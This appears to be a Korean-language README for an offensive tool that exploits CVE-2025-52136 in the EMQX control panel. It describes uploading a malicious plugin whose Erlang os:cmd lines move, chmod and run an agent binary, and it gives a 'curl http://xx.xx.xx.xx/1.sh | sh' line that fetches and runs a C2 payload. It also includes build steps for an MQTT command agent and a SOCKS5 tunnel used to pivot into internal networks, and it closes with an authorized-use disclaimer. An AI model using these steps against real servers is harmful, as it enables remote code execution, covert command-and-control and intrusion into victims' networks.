
CVE-2025-52136용 익스플로잇으로, 플러그인 업로드를 통해 EMQX 제어판에서 RCE를 활성화하며, MQTT 기반 명령 에이전트와 SOCKS5 터널을 통해 대역외 C2 및 네트워크 피보팅을 수행합니다.
https://github.com/ricardojoserf/emqx-RCE
원래 이용 방식은 emqx 플러그인을 업로드하고, 플러그인 템플릿 코드에 Erlang os 모듈을 추가하여 시스템 명령을 호출해 RCE를 실행하는 방식입니다.
출망 환경에서는 기본적으로 curl이 존재하므로, curl http://xx.xx.xx.xx/1.sh | sh를 통해 직접 C2에 연결할 수 있습니다.
타깃이 출망이 아닌 경우, EMQX 자체가 MQTT 메시지 서버이므로 플러그인 업로드와 함께 EMQX 서버에서 업로드한 실행 파일을 실행할 수 있습니다. EMQX를 MQTT 메시지 큐 코어로 사용하고, 배포된 프로그램을 일종의 "시스템 명령 프록시"로 활용하여 클라이언트가 보낸 명령을 구독하고, 실행 결과를 다시 토픽으로 발행합니다.
+-------------+
| 클라이언트 |
| 명령 메시지 전송 |
| 토픽: rx/cmd |
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| 명령 프록시 프로그램 |
| rx/cmd 구독 |
| 시스템 명령 실행 |
| tx/cmd 발행 |
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
그 후 원저자의 이용 방식을 따라 my_emqx_plugin.erl에 세 줄을 추가합니다.
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
플러그인 컴파일이 끝나면, 임의의 압축 도구를 사용하여 mqtt_agent를 my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\ 디렉터리에 넣으면 됩니다.

플러그인 업로드

그 후 클라이언트에서 tx/cmd에 구독을 추가하고, 토픽을 rx/cmd로 설정하면 사용할 수 있습니다.

마찬가지로 MQTT를 통해 Client ↔ Agent 간에 터널을 열고, TCP 데이터를 양방향으로 MQTT를 통해 내부망 Agent로 전달한 뒤, Agent가 내부망 타깃 호스트에 연결하여 내부망 침투를 활용할 수 있습니다.
이 방식에는 일정한 단점이 있습니다:
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
사용 방식은 위의 RCE 과정과 유사하며, 여기서는 로컬 포트를 직접 사용하여 socks5 터널로 트래픽을 전달합니다.
프록시 터널은 직접 컴파일하여 사용하세요.
이 도구는 승인된 환경/테스트 환경에서만 사용해야 하며, 불법적인 이용은 엄격히 금지됩니다.